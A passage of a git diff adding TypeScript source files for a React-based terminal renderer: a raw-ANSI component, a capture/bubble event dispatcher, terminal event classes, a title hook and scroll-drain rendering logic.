@@ -0,0 +1,57 @@
+import { c as _c } from "react/compiler-runtime";
+import React from 'react';
+type Props = {
+  /**
+   * Pre-rendered ANSI lines. Each element must be exactly one terminal row
+   * (already wrapped to `width` by the producer) with ANSI escape codes inline.
+   */
+  lines: string[];
+  /** Column width the producer wrapped to. Sent to Yoga as the fixed leaf width. */
+  width: number;
+};
+
+/**
+ * Bypass the <Ansi> → React tree → Yoga → squash → re-serialize roundtrip for
+ * content that is already terminal-ready.
+ *
+ * Use this when an external renderer (e.g. the ColorDiff NAPI module) has
+ * already produced ANSI-escaped, width-wrapped output. A normal <Ansi> mount
+ * reparses that output into one React <Text> per style span, lays out each
+ * span as a Yoga flex child, then walks the tree to re-emit the same escape
+ * codes it was given. For a long transcript full of syntax-highlighted diffs
+ * that roundtrip is the dominant cost of the render.
+ *
+ * This component emits a single Yoga leaf with a constant-time measure func
+ * (width × lines.length) and hands the joined string straight to output.write(),
+ * which already splits on '\n' and parses ANSI into the screen buffer.
+ */
+export function RawAnsi(t0) {
+  const $ = _c(6);
+  const {
+    lines,
+    width
+  } = t0;
+  if (lines.length === 0) {
+    return null;
+  }
+  let t1;
+  if ($[0] !== lines) {
+    t1 = lines.join("\n");
+    $[0] = lines;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let t2;
+  if ($[2] !== lines.length || $[3] !== t1 || $[4] !== width) {
+    t2 = <ink-raw-ansi rawText={t1} rawWidth={width} rawHeight={lines.length} />;
+    $[2] = lines.length;
+    $[3] = t1;
+    $[4] = width;
+    $[5] = t2;
+  } else {
+    t2 = $[5];
+  }
+  return t2;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIlByb3BzIiwibGluZXMiLCJ3aWR0aCIsIlJhd0Fuc2kiLCJ0MCIsIiQiLCJfYyIsImxlbmd0aCIsInQxIiwiam9pbiIsInQyIl0sInNvdXJjZXMiOlsiUmF3QW5zaS50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IFJlYWN0IGZyb20gJ3JlYWN0J1xuXG50eXBlIFByb3BzID0ge1xuICAvKipcbiAgICogUHJlLXJlbmRlcmVkIEFOU0kgbGluZXMuIEVhY2ggZWxlbWVudCBtdXN0IGJlIGV4YWN0bHkgb25lIHRlcm1pbmFsIHJvd1xuICAgKiAoYWxyZWFkeSB3cmFwcGVkIHRvIGB3aWR0aGAgYnkgdGhlIHByb2R1Y2VyKSB3aXRoIEFOU0kgZXNjYXBlIGNvZGVzIGlubGluZS5cbiAgICovXG4gIGxpbmVzOiBzdHJpbmdbXVxuICAvKiogQ29sdW1uIHdpZHRoIHRoZSBwcm9kdWNlciB3cmFwcGVkIHRvLiBTZW50IHRvIFlvZ2EgYXMgdGhlIGZpeGVkIGxlYWYgd2lkdGguICovXG4gIHdpZHRoOiBudW1iZXJcbn1cblxuLyoqXG4gKiBCeXBhc3MgdGhlIDxBbnNpPiDihpIgUmVhY3QgdHJlZSDihpIgWW9nYSDihpIgc3F1YXNoIOKGkiByZS1zZXJpYWxpemUgcm91bmR0cmlwIGZvclxuICogY29udGVudCB0aGF0IGlzIGFscmVhZHkgdGVybWluYWwtcmVhZHkuXG4gKlxuICogVXNlIHRoaXMgd2hlbiBhbiBleHRlcm5hbCByZW5kZXJlciAoZS5nLiB0aGUgQ29sb3JEaWZmIE5BUEkgbW9kdWxlKSBoYXNcbiAqIGFscmVhZHkgcHJvZHVjZWQgQU5TSS1lc2NhcGVkLCB3aWR0aC13cmFwcGVkIG91dHB1dC4gQSBub3JtYWwgPEFuc2k+IG1vdW50XG4gKiByZXBhcnNlcyB0aGF0IG91dHB1dCBpbnRvIG9uZSBSZWFjdCA8VGV4dD4gcGVyIHN0eWxlIHNwYW4sIGxheXMgb3V0IGVhY2hcbiAqIHNwYW4gYXMgYSBZb2dhIGZsZXggY2hpbGQsIHRoZW4gd2Fsa3MgdGhlIHRyZWUgdG8gcmUtZW1pdCB0aGUgc2FtZSBlc2NhcGVcbiAqIGNvZGVzIGl0IHdhcyBnaXZlbi4gRm9yIGEgbG9uZyB0cmFuc2NyaXB0IGZ1bGwgb2Ygc3ludGF4LWhpZ2hsaWdodGVkIGRpZmZzXG4gKiB0aGF0IHJvdW5kdHJpcCBpcyB0aGUgZG9taW5hbnQgY29zdCBvZiB0aGUgcmVuZGVyLlxuICpcbiAqIFRoaXMgY29tcG9uZW50IGVtaXRzIGEgc2luZ2xlIFlvZ2EgbGVhZiB3aXRoIGEgY29uc3RhbnQtdGltZSBtZWFzdXJlIGZ1bmNcbiAqICh3aWR0aCDDlyBsaW5lcy5sZW5ndGgpIGFuZCBoYW5kcyB0aGUgam9pbmVkIHN0cmluZyBzdHJhaWdodCB0byBvdXRwdXQud3JpdGUoKSxcbiAqIHdoaWNoIGFscmVhZHkgc3BsaXRzIG9uICdcXG4nIGFuZCBwYXJzZXMgQU5TSSBpbnRvIHRoZSBzY3JlZW4gYnVmZmVyLlxuICovXG5leHBvcnQgZnVuY3Rpb24gUmF3QW5zaSh7IGxpbmVzLCB3aWR0aCB9OiBQcm9wcyk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGlmIChsaW5lcy5sZW5ndGggPT09IDApIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG4gIHJldHVybiAoXG4gICAgPGluay1yYXctYW5zaVxuICAgICAgcmF3VGV4dD17bGluZXMuam9pbignXFxuJyl9XG4gICAgICByYXdXaWR0aD17d2lkdGh9XG4gICAgICByYXdIZWlnaHQ9e2xpbmVzLmxlbmd0aH1cbiAgICAvPlxuICApXG59XG4iXSwibWFwcGluZ3MiOiI7QUFBQSxPQUFPQSxLQUFLLE1BQU0sT0FBTztBQUV6QixLQUFLQyxLQUFLLEdBQUc7RUFDWDtBQUNGO0FBQ0E7QUFDQTtFQUNFQyxLQUFLLEVBQUUsTUFBTSxFQUFFO0VBQ2Y7RUFDQUMsS0FBSyxFQUFFLE1BQU07QUFDZixDQUFDOztBQUVEO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBLE9BQU8sU0FBQUMsUUFBQUMsRUFBQTtFQUFBLE1BQUFDLENBQUEsR0FBQUMsRUFBQTtFQUFpQjtJQUFBTCxLQUFBO0lBQUFDO0VBQUEsSUFBQUUsRUFBdUI7RUFDN0MsSUFBSUgsS0FBSyxDQUFBTSxNQUFPLEtBQUssQ0FBQztJQUFBLE9BQ2IsSUFBSTtFQUFBO0VBQ1osSUFBQUMsRUFBQTtFQUFBLElBQUFILENBQUEsUUFBQUosS0FBQTtJQUdZTyxFQUFBLEdBQUFQLEtBQUssQ0FBQVEsSUFBSyxDQUFDLElBQUksQ0FBQztJQUFBSixDQUFBLE1BQUFKLEtBQUE7SUFBQUksQ0FBQSxNQUFBRyxFQUFBO0VBQUE7SUFBQUEsRUFBQSxHQUFBSCxDQUFBO0VBQUE7RUFBQSxJQUFBSyxFQUFBO0VBQUEsSUFBQUwsQ0FBQSxRQUFBSixLQUFBLENBQUFNLE1BQUEsSUFBQUYsQ0FBQSxRQUFBRyxFQUFBLElBQUFILENBQUEsUUFBQUgsS0FBQTtJQUQzQlEsRUFBQSxnQkFJRSxDQUhTLE9BQWdCLENBQWhCLENBQUFGLEVBQWUsQ0FBQyxDQUNmTixRQUFLLENBQUxBLE1BQUksQ0FBQyxDQUNKLFNBQVksQ0FBWixDQUFBRCxLQUFLLENBQUFNLE1BQU0sQ0FBQyxHQUN2QjtJQUFBRixDQUFBLE1BQUFKLEtBQUEsQ0FBQU0sTUFBQTtJQUFBRixDQUFBLE1BQUFHLEVBQUE7SUFBQUgsQ0FBQSxNQUFBSCxLQUFBO0lBQUFHLENBQUEsTUFBQUssRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQUwsQ0FBQTtFQUFBO0VBQUEsT0FKRkssRUFJRTtBQUFBIiwiaWdub3JlTGlzdCI6W119
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/ink/events/dispatcher.ts b/_all-in-one-upload/cc-haha/src/ink/events/dispatcher.ts
new file mode 100644
index 0000000..a310d38
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/ink/events/dispatcher.ts
@@ -0,0 +1,233 @@
+import {
+  ContinuousEventPriority,
+  DefaultEventPriority,
+  DiscreteEventPriority,
+  NoEventPriority,
+} from 'react-reconciler/constants.js'
+import { logError } from '../../utils/log.js'
+import { HANDLER_FOR_EVENT } from './event-handlers.js'
+import type { EventTarget, TerminalEvent } from './terminal-event.js'
+
+// --
+
+type DispatchListener = {
+  node: EventTarget
+  handler: (event: TerminalEvent) => void
+  phase: 'capturing' | 'at_target' | 'bubbling'
+}
+
+function getHandler(
+  node: EventTarget,
+  eventType: string,
+  capture: boolean,
+): ((event: TerminalEvent) => void) | undefined {
+  const handlers = node._eventHandlers
+  if (!handlers) return undefined
+
+  const mapping = HANDLER_FOR_EVENT[eventType]
+  if (!mapping) return undefined
+
+  const propName = capture ? mapping.capture : mapping.bubble
+  if (!propName) return undefined
+
+  return handlers[propName] as ((event: TerminalEvent) => void) | undefined
+}
+
+/**
+ * Collect all listeners for an event in dispatch order.
+ *
+ * Uses react-dom's two-phase accumulation pattern:
+ * - Walk from target to root
+ * - Capture handlers are prepended (unshift) → root-first
+ * - Bubble handlers are appended (push) → target-first
+ *
+ * Result: [root-cap, ..., parent-cap, target-cap, target-bub, parent-bub, ..., root-bub]
+ */
+function collectListeners(
+  target: EventTarget,
+  event: TerminalEvent,
+): DispatchListener[] {
+  const listeners: DispatchListener[] = []
+
+  let node: EventTarget | undefined = target
+  while (node) {
+    const isTarget = node === target
+
+    const captureHandler = getHandler(node, event.type, true)
+    const bubbleHandler = getHandler(node, event.type, false)
+
+    if (captureHandler) {
+      listeners.unshift({
+        node,
+        handler: captureHandler,
+        phase: isTarget ? 'at_target' : 'capturing',
+      })
+    }
+
+    if (bubbleHandler && (event.bubbles || isTarget)) {
+      listeners.push({
+        node,
+        handler: bubbleHandler,
+        phase: isTarget ? 'at_target' : 'bubbling',
+      })
+    }
+
+    node = node.parentNode
+  }
+
+  return listeners
+}
+
+/**
+ * Execute collected listeners with propagation control.
+ *
+ * Before each handler, calls event._prepareForTarget(node) so event
+ * subclasses can do per-node setup.
+ */
+function processDispatchQueue(
+  listeners: DispatchListener[],
+  event: TerminalEvent,
+): void {
+  let previousNode: EventTarget | undefined
+
+  for (const { node, handler, phase } of listeners) {
+    if (event._isImmediatePropagationStopped()) {
+      break
+    }
+
+    if (event._isPropagationStopped() && node !== previousNode) {
+      break
+    }
+
+    event._setEventPhase(phase)
+    event._setCurrentTarget(node)
+    event._prepareForTarget(node)
+
+    try {
+      handler(event)
+    } catch (error) {
+      logError(error)
+    }
+
+    previousNode = node
+  }
+}
+
+// --
+
+/**
+ * Map terminal event types to React scheduling priorities.
+ * Mirrors react-dom's getEventPriority() switch.
+ */
+function getEventPriority(eventType: string): number {
+  switch (eventType) {
+    case 'keydown':
+    case 'keyup':
+    case 'click':
+    case 'focus':
+    case 'blur':
+    case 'paste':
+      return DiscreteEventPriority as number
+    case 'resize':
+    case 'scroll':
+    case 'mousemove':
+      return ContinuousEventPriority as number
+    default:
+      return DefaultEventPriority as number
+  }
+}
+
+// --
+
+type DiscreteUpdates = <A, B>(
+  fn: (a: A, b: B) => boolean,
+  a: A,
+  b: B,
+  c: undefined,
+  d: undefined,
+) => boolean
+
+/**
+ * Owns event dispatch state and the capture/bubble dispatch loop.
+ *
+ * The reconciler host config reads currentEvent and currentUpdatePriority
+ * to implement resolveUpdatePriority, resolveEventType, and
+ * resolveEventTimeStamp — mirroring how react-dom's host config reads
+ * ReactDOMSharedInternals and window.event.
+ *
+ * discreteUpdates is injected after construction (by InkReconciler)
+ * to break the import cycle.
+ */
+export class Dispatcher {
+  currentEvent: TerminalEvent | null = null
+  currentUpdatePriority: number = DefaultEventPriority as number
+  discreteUpdates: DiscreteUpdates | null = null
+
+  /**
+   * Infer event priority from the currently-dispatching event.
+   * Called by the reconciler host config's resolveUpdatePriority
+   * when no explicit priority has been set.
+   */
+  resolveEventPriority(): number {
+    if (this.currentUpdatePriority !== (NoEventPriority as number)) {
+      return this.currentUpdatePriority
+    }
+    if (this.currentEvent) {
+      return getEventPriority(this.currentEvent.type)
+    }
+    return DefaultEventPriority as number
+  }
+
+  /**
+   * Dispatch an event through capture and bubble phases.
+   * Returns true if preventDefault() was NOT called.
+   */
+  dispatch(target: EventTarget, event: TerminalEvent): boolean {
+    const previousEvent = this.currentEvent
+    this.currentEvent = event
+    try {
+      event._setTarget(target)
+
+      const listeners = collectListeners(target, event)
+      processDispatchQueue(listeners, event)
+
+      event._setEventPhase('none')
+      event._setCurrentTarget(null)
+
+      return !event.defaultPrevented
+    } finally {
+      this.currentEvent = previousEvent
+    }
+  }
+
+  /**
+   * Dispatch with discrete (sync) priority.
+   * For user-initiated events: keyboard, click, focus, paste.
+   */
+  dispatchDiscrete(target: EventTarget, event: TerminalEvent): boolean {
+    if (!this.discreteUpdates) {
+      return this.dispatch(target, event)
+    }
+    return this.discreteUpdates(
+      (t, e) => this.dispatch(t, e),
+      target,
+      event,
+      undefined,
+      undefined,
+    )
+  }
+
+  /**
+   * Dispatch with continuous priority.
+   * For high-frequency events: resize, scroll, mouse move.
+   */
+  dispatchContinuous(target: EventTarget, event: TerminalEvent): boolean {
+    const previousPriority = this.currentUpdatePriority
+    try {
+      this.currentUpdatePriority = ContinuousEventPriority as number
+      return this.dispatch(target, event)
+    } finally {
+      this.currentUpdatePriority = previousPriority
+    }
+  }
+}
diff --git a/_all-in-one-upload/cc-haha/src/ink/events/terminal-event.ts b/_all-in-one-upload/cc-haha/src/ink/events/terminal-event.ts
new file mode 100644
index 0000000..9a86bf8
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/ink/events/terminal-event.ts
@@ -0,0 +1,107 @@
+import { Event } from './event.js'
+
+type EventPhase = 'none' | 'capturing' | 'at_target' | 'bubbling'
+
+type TerminalEventInit = {
+  bubbles?: boolean
+  cancelable?: boolean
+}
+
+/**
+ * Base class for all terminal events with DOM-style propagation.
+ *
+ * Extends Event so existing event types (ClickEvent, InputEvent,
+ * TerminalFocusEvent) share a common ancestor and can migrate later.
+ *
+ * Mirrors the browser's Event API: target, currentTarget, eventPhase,
+ * stopPropagation(), preventDefault(), timeStamp.
+ */
+export class TerminalEvent extends Event {
+  readonly type: string
+  readonly timeStamp: number
+  readonly bubbles: boolean
+  readonly cancelable: boolean
+
+  private _target: EventTarget | null = null
+  private _currentTarget: EventTarget | null = null
+  private _eventPhase: EventPhase = 'none'
+  private _propagationStopped = false
+  private _defaultPrevented = false
+
+  constructor(type: string, init?: TerminalEventInit) {
+    super()
+    this.type = type
+    this.timeStamp = performance.now()
+    this.bubbles = init?.bubbles ?? true
+    this.cancelable = init?.cancelable ?? true
+  }
+
+  get target(): EventTarget | null {
+    return this._target
+  }
+
+  get currentTarget(): EventTarget | null {
+    return this._currentTarget
+  }
+
+  get eventPhase(): EventPhase {
+    return this._eventPhase
+  }
+
+  get defaultPrevented(): boolean {
+    return this._defaultPrevented
+  }
+
+  stopPropagation(): void {
+    this._propagationStopped = true
+  }
+
+  override stopImmediatePropagation(): void {
+    super.stopImmediatePropagation()
+    this._propagationStopped = true
+  }
+
+  preventDefault(): void {
+    if (this.cancelable) {
+      this._defaultPrevented = true
+    }
+  }
+
+  // -- Internal setters used by the Dispatcher
+
+  /** @internal */
+  _setTarget(target: EventTarget): void {
+    this._target = target
+  }
+
+  /** @internal */
+  _setCurrentTarget(target: EventTarget | null): void {
+    this._currentTarget = target
+  }
+
+  /** @internal */
+  _setEventPhase(phase: EventPhase): void {
+    this._eventPhase = phase
+  }
+
+  /** @internal */
+  _isPropagationStopped(): boolean {
+    return this._propagationStopped
+  }
+
+  /** @internal */
+  _isImmediatePropagationStopped(): boolean {
+    return this.didStopImmediatePropagation()
+  }
+
+  /**
+   * Hook for subclasses to do per-node setup before each handler fires.
+   * Default is a no-op.
+   */
+  _prepareForTarget(_target: EventTarget): void {}
+}
+
+export type EventTarget = {
+  parentNode: EventTarget | undefined
+  _eventHandlers?: Record<string, unknown>
+}
diff --git a/_all-in-one-upload/cc-haha/src/ink/hooks/use-terminal-title.ts b/_all-in-one-upload/cc-haha/src/ink/hooks/use-terminal-title.ts
new file mode 100644
index 0000000..d820cd7
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/ink/hooks/use-terminal-title.ts
@@ -0,0 +1,31 @@
+import { useContext, useEffect } from 'react'
+import stripAnsi from 'strip-ansi'
+import { OSC, osc } from '../termio/osc.js'
+import { TerminalWriteContext } from '../useTerminalNotification.js'
+
+/**
+ * Declaratively set the terminal tab/window title.
+ *
+ * Pass a string to set the title. ANSI escape sequences are stripped
+ * automatically so callers don't need to know about terminal encoding.
+ * Pass `null` to opt out — the hook becomes a no-op and leaves the
+ * terminal title untouched.
+ *
+ * On Windows, uses `process.title` (classic conhost doesn't support OSC).
+ * Elsewhere, writes OSC 0 (set title+icon) via Ink's stdout.
+ */
+export function useTerminalTitle(title: string | null): void {
+  const writeRaw = useContext(TerminalWriteContext)
+
+  useEffect(() => {
+    if (title === null || !writeRaw) return
+
+    const clean = stripAnsi(title)
+
+    if (process.platform === 'win32') {
+      process.title = clean
+    } else {
+      writeRaw(osc(OSC.SET_TITLE_AND_ICON, clean))
+    }
+  }, [title, writeRaw])
+}
diff --git a/_all-in-one-upload/cc-haha/src/ink/layout/engine.ts b/_all-in-one-upload/cc-haha/src/ink/layout/engine.ts
new file mode 100644
index 0000000..38f6dcb
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/ink/layout/engine.ts
@@ -0,0 +1,6 @@
+import type { LayoutNode } from './node.js'
+import { createYogaLayoutNode } from './yoga.js'
+
+export function createLayoutNode(): LayoutNode {
+  return createYogaLayoutNode()
+}
diff --git a/_all-in-one-upload/cc-haha/src/ink/measure-element.ts b/_all-in-one-upload/cc-haha/src/ink/measure-element.ts
new file mode 100644
index 0000000..ed56eaf
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/ink/measure-element.ts
@@ -0,0 +1,23 @@
+import type { DOMElement } from './dom.js'
+
+type Output = {
+  /**
+   * Element width.
+   */
+  width: number
+
+  /**
+   * Element height.
+   */
+  height: number
+}
+
+/**
+ * Measure the dimensions of a particular `<Box>` element.
+ */
+const measureElement = (node: DOMElement): Output => ({
+  width: node.yogaNode?.getComputedWidth() ?? 0,
+  height: node.yogaNode?.getComputedHeight() ?? 0,
+})
+
+export default measureElement
diff --git a/_all-in-one-upload/cc-haha/src/ink/render-node-to-output.ts b/_all-in-one-upload/cc-haha/src/ink/render-node-to-output.ts
new file mode 100644
index 0000000..73bbbbe
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/ink/render-node-to-output.ts
@@ -0,0 +1,1462 @@
+import indentString from 'indent-string'
+import { applyTextStyles } from './colorize.js'
+import type { DOMElement } from './dom.js'
+import getMaxWidth from './get-max-width.js'
+import type { Rectangle } from './layout/geometry.js'
+import { LayoutDisplay, LayoutEdge, type LayoutNode } from './layout/node.js'
+import { nodeCache, pendingClears } from './node-cache.js'
+import type Output from './output.js'
+import renderBorder from './render-border.js'
+import type { Screen } from './screen.js'
+import {
+  type StyledSegment,
+  squashTextNodesToSegments,
+} from './squash-text-nodes.js'
+import type { Color } from './styles.js'
+import { isXtermJs } from './terminal.js'
+import { widestLine } from './widest-line.js'
+import wrapText from './wrap-text.js'
+
+// Matches detectXtermJsWheel() in ScrollKeybindingHandler.tsx — the curve
+// and drain must agree on terminal detection. TERM_PROGRAM check is the sync
+// fallback; isXtermJs() is the authoritative XTVERSION-probe result.
+function isXtermJsHost(): boolean {
+  return process.env.TERM_PROGRAM === 'vscode' || isXtermJs()
+}
+
+// Per-frame scratch: set when any node's yoga position/size differs from
+// its cached value, or a child was removed. Read by ink.tsx to decide
+// whether the full-damage sledgehammer (PR #20120) is needed this frame.
+// Applies on both alt-screen and main-screen. Steady-state frames
+// (spinner tick, clock tick, text append into a fixed-height box) don't
+// shift layout → narrow damage bounds → O(changed cells) diff instead of
+// O(rows×cols).
+let layoutShifted = false
+
+export function resetLayoutShifted(): void {
+  layoutShifted = false
+}
+
+export function didLayoutShift(): boolean {
+  return layoutShifted
+}
+
+// DECSTBM scroll optimization hint. When a ScrollBox's scrollTop changes
+// between frames (and nothing else moved), log-update.ts can emit a
+// hardware scroll (DECSTBM + SU/SD) instead of rewriting the whole
+// viewport. top/bottom are 0-indexed inclusive screen rows; delta > 0 =
+// content moved up (scrollTop increased, CSI n S).
+export type ScrollHint = { top: number; bottom: number; delta: number }
+let scrollHint: ScrollHint | null = null
+
+// Rects of position:absolute nodes from the PREVIOUS frame, used by
+// ScrollBox's blit+shift third-pass repair (see usage site). Recorded at
+// three paths — full-render nodeCache.set, node-level blit early-return,
+// blitEscapingAbsoluteDescendants — so clean-overlay consecutive scrolls
+// still have the rect.
+let absoluteRectsPrev: Rectangle[] = []
+let absoluteRectsCur: Rectangle[] = []
+
+export function resetScrollHint(): void {
+  scrollHint = null
+  absoluteRectsPrev = absoluteRectsCur
+  absoluteRectsCur = []
+}
+
+export function getScrollHint(): ScrollHint | null {
+  return scrollHint
+}
+
+// The ScrollBox DOM node (if any) with pendingScrollDelta left after this
+// frame's drain. renderer.ts calls markDirty(it) post-render so the NEXT
+// frame's root blit check fails and we descend to continue draining.
+// Without this, after the scrollbox's dirty flag is cleared (line ~721),
+// the next frame blits root and never reaches the scrollbox — drain stalls.
+let scrollDrainNode: DOMElement | null = null
+
+export function resetScrollDrainNode(): void {
+  scrollDrainNode = null
+}
+
+export function getScrollDrainNode(): DOMElement | null {
+  return scrollDrainNode
+}
+
+// At-bottom follow scroll event this frame. When streaming content
+// triggers scrollTop = maxScroll, the ScrollBox records the delta +
+// viewport bounds here. ink.tsx consumes it post-render to translate any active
+// text selection by -delta so the highlight stays anchored to the TEXT
+// (native terminal behavior — the selection walks up the screen as content
+// scrolls, eventually clipping at the top). The frontFrame screen buffer
+// still holds the old content at that point — captureScrolledRows reads
+// from it before the front/back swap to preserve the text for copy.
+export type FollowScroll = {
+  delta: number
+  viewportTop: number
+  viewportBottom: number
+}
+let followScroll: FollowScroll | null = null
+
+export function consumeFollowScroll(): FollowScroll | null {
+  const f = followScroll
+  followScroll = null
+  return f
+}
+
+// ── Native terminal drain (iTerm2/Ghostty/etc. — proportional events) ──
+// Minimum rows applied per frame. Above this, drain is proportional (~3/4
+// of remaining) so big bursts catch up in log₄ frames while the tail
+// decelerates smoothly. Hard cap is innerHeight-1 so DECSTBM hint fires.
+const SCROLL_MIN_PER_FRAME = 4
+
+// ── xterm.js (VS Code) smooth drain ──
+// Low pending (≤5) drains ALL in one frame — slow wheel clicks should be
+// instant (click → visible jump → done), not micro-stutter 1-row frames.
+// Higher pending drains at a small fixed step so fast-scroll animation
+// stays smooth (no big jumps). Pending >MAX snaps excess.
+const SCROLL_INSTANT_THRESHOLD = 5 // ≤ this: drain all at once
+const SCROLL_HIGH_PENDING = 12 // threshold for HIGH step
+const SCROLL_STEP_MED = 2 // pending (INSTANT, HIGH): catch-up
+const SCROLL_STEP_HIGH = 3 // pending ≥ HIGH: fast flick
+const SCROLL_MAX_PENDING = 30 // snap excess beyond this
+
+// xterm.js adaptive drain. Returns rows applied; mutates pendingScrollDelta.
+function drainAdaptive(
+  node: DOMElement,
+  pending: number,
+  innerHeight: number,
+): number {
+  const sign = pending > 0 ? 1 : -1
+  let abs = Math.abs(pending)
+  let applied = 0
+  // Snap excess beyond animation window so big flicks don't coast.
+  if (abs > SCROLL_MAX_PENDING) {
+    applied += sign * (abs - SCROLL_MAX_PENDING)
+    abs = SCROLL_MAX_PENDING
+  }
+  // ≤5: drain all (slow click = instant). Above: small fixed step.
+  const step =
+    abs <= SCROLL_INSTANT_THRESHOLD
+      ? abs
+      : abs < SCROLL_HIGH_PENDING
+        ? SCROLL_STEP_MED
+        : SCROLL_STEP_HIGH
+  applied += sign * step
+  const rem = abs - step
+  // Cap total at innerHeight-1 so DECSTBM blit+shift fast path fires
+  // (matches drainProportional). Excess stays in pendingScrollDelta.
+  const cap = Math.max(1, innerHeight - 1)
+  const totalAbs = Math.abs(applied)
+  if (totalAbs > cap) {
+    const excess = totalAbs - cap
+    node.pendingScrollDelta = sign * (rem + excess)
+    return sign * cap
+  }
+  node.pendingScrollDelta = rem > 0 ? sign * rem : undefined
+  return applied
+}
+
+// Native proportional drain. step = max(MIN, floor(abs*3/4)), capped at
+// innerHeight-1 so DECSTBM + blit+shift fast path fire.
+function drainProportional(
+  node: DOMElement,
+  pending: number,
+  innerHeight: number,
+): number {
+  const abs = Math.abs(pending)
+  const cap = Math.max(1, innerHeight - 1)
+  const step = Math.min(cap, Math.max(SCROLL_MIN_PER_FRAME, (abs * 3) >> 2))
+  if (abs <= step) {
+    node.pendingScrollDelta = undefined
+    return pending
+  }
+  const applied = pending > 0 ? step : -step
+  node.pendingScrollDelta = pending - applied
+  return applied
+}
+
+// OSC 8 hyperlink escape sequences. Empty params (;;) — ansi-tokenize only
+// recognizes this exact prefix. The id= param (for grouping wrapped lines)
+// is added at terminal-output time in termio/osc.ts link().
+const OSC = '\u001B]'
+const BEL = '\u0007'
+
+function wrapWithOsc8Link(text: string, url: string): string {
+  return `${OSC}8;;${url}${BEL}${text}${OSC}8;;${BEL}`
+}
+
+/**
+ * Build a mapping from each character position in the plain text to its segment index.
+ * Returns an array where charToSegment[i] is the segment index for character i.
+ */
+function buildCharToSegmentMap(segments: StyledSegment[]): number[] {
+  const map: number[] = []
+  for (let i = 0; i < segments.length; i++) {
+    const len = segments[i]!.text.length
+    for (let j = 0; j < len; j++) {
+      map.push(i)
+    }
+  }
+  return map
+}
+
+/**
+ * Apply styles to wrapped text by mapping each character back to its original segment.
+ * This preserves per-segment styles even when text wraps across lines.
+ *
+ * @param trimEnabled - Whether whitespace trimming is enabled (wrap-trim mode).
+ *   When true, we skip whitespace in the original that was trimmed from the output.
+ *   When false (wrap mode), all whitespace is preserved so no skipping is needed.
+ */
+function applyStylesToWrappedText(
+  wrappedPlain: string,
+  segments: StyledSegment[],
+  charToSegment: number[],
+  originalPlain: string,
+  trimEnabled: boolean = false,
+): string {
+  const lines = wrappedPlain.split('\n')
+  const resultLines: string[] = []
+
+  let charIndex = 0
+  for (let lineIdx = 0; lineIdx < lines.length; lineIdx++) {
+    const line = lines[lineIdx]!
+
+    // In trim mode, skip leading whitespace that was trimmed from this line.
+    // Only skip if the original has whitespace but the output line doesn't start
+    // with whitespace (meaning it was trimmed). If both have whitespace, the
+    // whitespace was preserved and we shouldn't skip.
+    if (trimEnabled && line.length > 0) {
+      const lineStartsWithWhitespace = /\s/.test(line[0]!)
+      const originalHasWhitespace =
+        charIndex < originalPlain.length && /\s/.test(originalPlain[charIndex]!)
+
+      // Only skip if original has whitespace but line doesn't
+      if (originalHasWhitespace && !lineStartsWithWhitespace) {
+        while (
+          charIndex < originalPlain.length &&
+          /\s/.test(originalPlain[charIndex]!)
+        ) {
+          charIndex++
+        }
+      }
+    }
+
+    let styledLine = ''
+    let runStart = 0
+    let runSegmentIndex = charToSegment[charIndex] ?? 0
+
+    for (let i = 0; i < line.length; i++) {
+      const currentSegmentIndex = charToSegment[charIndex] ?? runSegmentIndex
+
+      if (currentSegmentIndex !== runSegmentIndex) {
+        // Flush the current run
+        const runText = line.slice(runStart, i)
+        const segment = segments[runSegmentIndex]
+        if (segment) {
+          let styled = applyTextStyles(runText, segment.styles)
+          if (segment.hyperlink) {
+            styled = wrapWithOsc8Link(styled, segment.hyperlink)
+          }
+          styledLine += styled
+        } else {
+          styledLine += runText
+        }
+        runStart = i
+        runSegmentIndex = currentSegmentIndex
+      }
+
+      charIndex++
+    }
+
+    // Flush the final run
+    const runText = line.slice(runStart)
+    const segment = segments[runSegmentIndex]
+    if (segment) {
+      let styled = applyTextStyles(runText, segment.styles)
+      if (segment.hyperlink) {
+        styled = wrapWithOsc8Link(styled, segment.hyperlink)
+      }
+      styledLine += styled
+    } else {
+      styledLine += runText
+    }
+
+    resultLines.push(styledLine)
+
+    // Skip newline character in original that corresponds to this line break.
+    // This is needed when the original text contains actual newlines (not just
+    // wrapping-inserted newlines). Without this, charIndex gets out of sync
+    // because the newline is in originalPlain/charToSegment but not in the
+    // split lines.
+    if (charIndex < originalPlain.length && originalPlain[charIndex] === '\n') {
+      charIndex++
+    }
+
+    // In trim mode, skip whitespace that was replaced by newline when wrapping.
+    // We skip whitespace in the original until we reach a character that matches
+    // the first character of the next line. This handles cases like:
+    // - "AB   \tD" wrapped to "AB\n\tD" - skip spaces until we hit the tab
+    // In non-trim mode, whitespace is preserved so no skipping is needed.
+    if (trimEnabled && lineIdx < lines.length - 1) {
+      const nextLine = lines[lineIdx + 1]!
+      const nextLineFirstChar = nextLine.length > 0 ? nextLine[0] : null
+
+      // Skip whitespace until we hit a char that matches the next line's first char
+      while (
+        charIndex < originalPlain.length &&
+        /\s/.test(originalPlain[charIndex]!)
+      ) {
+        // Stop if we found the character that starts the next line
+        if (
+          nextLineFirstChar !== null &&
+          originalPlain[charIndex] === nextLineFirstChar
+        ) {
+          break
+        }
+        charIndex++
+      }
+    }
+  }
+
+  return resultLines.join('\n')
+}
+
+/**
+ * Wrap text and record which output lines are soft-wrap continuations
+ * (i.e. the `\n` before them was inserted by word-wrap, not in the
+ * source). wrapAnsi already processes each input line independently, so
+ * wrapping per-input-line here gives identical output to a single
